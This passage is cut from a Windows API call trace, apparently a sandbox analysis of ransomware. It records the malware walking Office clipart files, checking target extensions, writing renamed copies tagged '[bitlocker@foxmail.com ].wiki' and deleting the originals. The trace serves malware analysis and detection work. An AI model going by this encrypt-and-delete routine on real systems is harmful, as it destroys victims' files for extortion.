Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString=".doc") returned 4 [0190.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString=".docx") returned 5 [0190.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.218] lstrlenW (lpString=".pdf") returned 4 [0190.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString=".xls") returned 4 [0190.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.218] lstrlenW (lpString=".xlsx") returned 5 [0190.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.218] lstrlenW (lpString=".ppt") returned 4 [0190.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString=".zip") returned 4 [0190.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.218] lstrlenW (lpString=".rar") returned 4 [0190.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString=".bz2") returned 4 [0190.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString=".7z") returned 3 [0190.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString=".dbf") returned 4 [0190.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.219] lstrlenW (lpString=".1cd") returned 4 [0190.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.219] lstrlenW (lpString=".jpg") returned 4 [0190.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.219] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.219] lstrlenW (lpString="IN00233_.WMF") returned 12 [0190.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.219] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11190) returned 1 [0190.219] CloseHandle (hObject=0x1f4) returned 1 [0190.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0190.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.220] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.220] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.220] GetLastError () returned 0x0 [0190.220] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0190.470] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2bc0, lpOverlapped=0x0) returned 1 [0190.471] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.471] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.472] SetEndOfFile (hFile=0x1dc) returned 1 [0190.472] CloseHandle (hObject=0x1dc) returned 1 [0190.472] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.472] SetEndOfFile (hFile=0x1f4) returned 1 [0190.473] CloseHandle (hObject=0x1f4) returned 1 [0190.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0190.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.473] lstrlenW (lpString=".doc") returned 4 [0190.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.473] lstrlenW (lpString=".docx") returned 5 [0190.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.473] lstrlenW (lpString=".pdf") returned 4 [0190.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.473] lstrlenW (lpString=".xls") returned 4 [0190.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.473] lstrlenW (lpString=".xlsx") returned 5 [0190.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.473] lstrlenW (lpString=".ppt") returned 4 [0190.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.473] lstrlenW (lpString=".zip") returned 4 [0190.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.474] lstrlenW (lpString=".rar") returned 4 [0190.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString=".bz2") returned 4 [0190.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString=".7z") returned 3 [0190.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.474] lstrlenW (lpString=".dbf") returned 4 [0190.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.474] lstrlenW (lpString=".1cd") returned 4 [0190.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.474] lstrlenW (lpString=".jpg") returned 4 [0190.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.474] lstrlenW (lpString=".doc") returned 4 [0190.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString=".docx") returned 5 [0190.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.474] lstrlenW (lpString=".pdf") returned 4 [0190.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString=".xls") returned 4 [0190.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.474] lstrlenW (lpString=".xlsx") returned 5 [0190.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.474] lstrlenW (lpString=".ppt") returned 4 [0190.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.475] lstrlenW (lpString=".zip") returned 4 [0190.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.475] lstrlenW (lpString=".rar") returned 4 [0190.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.475] lstrlenW (lpString=".bz2") returned 4 [0190.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.475] lstrlenW (lpString=".7z") returned 3 [0190.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.475] lstrlenW (lpString=".dbf") returned 4 [0190.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.475] lstrlenW (lpString=".1cd") returned 4 [0190.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0190.475] lstrlenW (lpString=".jpg") returned 4 [0190.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.475] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.475] lstrlenW (lpString="J0086426.WMF") returned 12 [0190.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.476] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21782) returned 1 [0190.476] CloseHandle (hObject=0x1f4) returned 1 [0190.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0190.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.476] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.476] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.477] GetLastError () returned 0x0 [0190.477] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5516, lpOverlapped=0x0) returned 1 [0190.493] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5520, lpOverlapped=0x0) returned 1 [0190.494] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.494] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.494] SetEndOfFile (hFile=0x1dc) returned 1 [0190.494] CloseHandle (hObject=0x1dc) returned 1 [0190.494] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.494] SetEndOfFile (hFile=0x1f4) returned 1 [0190.495] CloseHandle (hObject=0x1f4) returned 1 [0190.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString=".doc") returned 4 [0190.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString=".docx") returned 5 [0190.496] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0190.496] lstrlenW (lpString=".pdf") returned 4 [0190.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString=".xls") returned 4 [0190.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.496] lstrlenW (lpString=".xlsx") returned 5 [0190.496] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0190.496] lstrlenW (lpString=".ppt") returned 4 [0190.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString=".zip") returned 4 [0190.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.496] lstrlenW (lpString=".rar") returned 4 [0190.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString=".bz2") returned 4 [0190.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString=".7z") returned 3 [0190.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString=".dbf") returned 4 [0190.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString=".1cd") returned 4 [0190.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.496] lstrlenW (lpString=".jpg") returned 4 [0190.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.497] lstrlenW (lpString=".doc") returned 4 [0190.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString=".docx") returned 5 [0190.497] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0190.497] lstrlenW (lpString=".pdf") returned 4 [0190.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString=".xls") returned 4 [0190.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.497] lstrlenW (lpString=".xlsx") returned 5 [0190.497] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0190.497] lstrlenW (lpString=".ppt") returned 4 [0190.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.497] lstrlenW (lpString=".zip") returned 4 [0190.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.497] lstrlenW (lpString=".rar") returned 4 [0190.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString=".bz2") returned 4 [0190.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString=".7z") returned 3 [0190.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.497] lstrlenW (lpString=".dbf") returned 4 [0190.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.497] lstrlenW (lpString=".1cd") returned 4 [0190.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned 63 [0190.498] lstrlenW (lpString=".jpg") returned 4 [0190.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.498] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.498] lstrlenW (lpString="J0086432.WMF") returned 12 [0190.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.498] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=33434) returned 1 [0190.498] CloseHandle (hObject=0x1f4) returned 1 [0190.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0190.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.499] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.499] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.499] GetLastError () returned 0x0 [0190.499] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x829a, lpOverlapped=0x0) returned 1 [0190.522] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0190.523] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.523] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.523] SetEndOfFile (hFile=0x1dc) returned 1 [0190.523] CloseHandle (hObject=0x1dc) returned 1 [0190.523] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.523] SetEndOfFile (hFile=0x1f4) returned 1 [0190.524] CloseHandle (hObject=0x1f4) returned 1 [0190.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.525] lstrlenW (lpString=".doc") returned 4 [0190.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.525] lstrlenW (lpString=".docx") returned 5 [0190.525] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.525] lstrlenW (lpString=".pdf") returned 4 [0190.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.525] lstrlenW (lpString=".xls") returned 4 [0190.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.525] lstrlenW (lpString=".xlsx") returned 5 [0190.525] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.525] lstrlenW (lpString=".ppt") returned 4 [0190.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.525] lstrlenW (lpString=".zip") returned 4 [0190.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.525] lstrlenW (lpString=".rar") returned 4 [0190.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString=".bz2") returned 4 [0190.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString=".7z") returned 3 [0190.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString=".dbf") returned 4 [0190.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString=".1cd") returned 4 [0190.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString=".jpg") returned 4 [0190.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString=".doc") returned 4 [0190.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString=".docx") returned 5 [0190.526] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.526] lstrlenW (lpString=".pdf") returned 4 [0190.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString=".xls") returned 4 [0190.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.526] lstrlenW (lpString=".xlsx") returned 5 [0190.526] lstrcmpiW 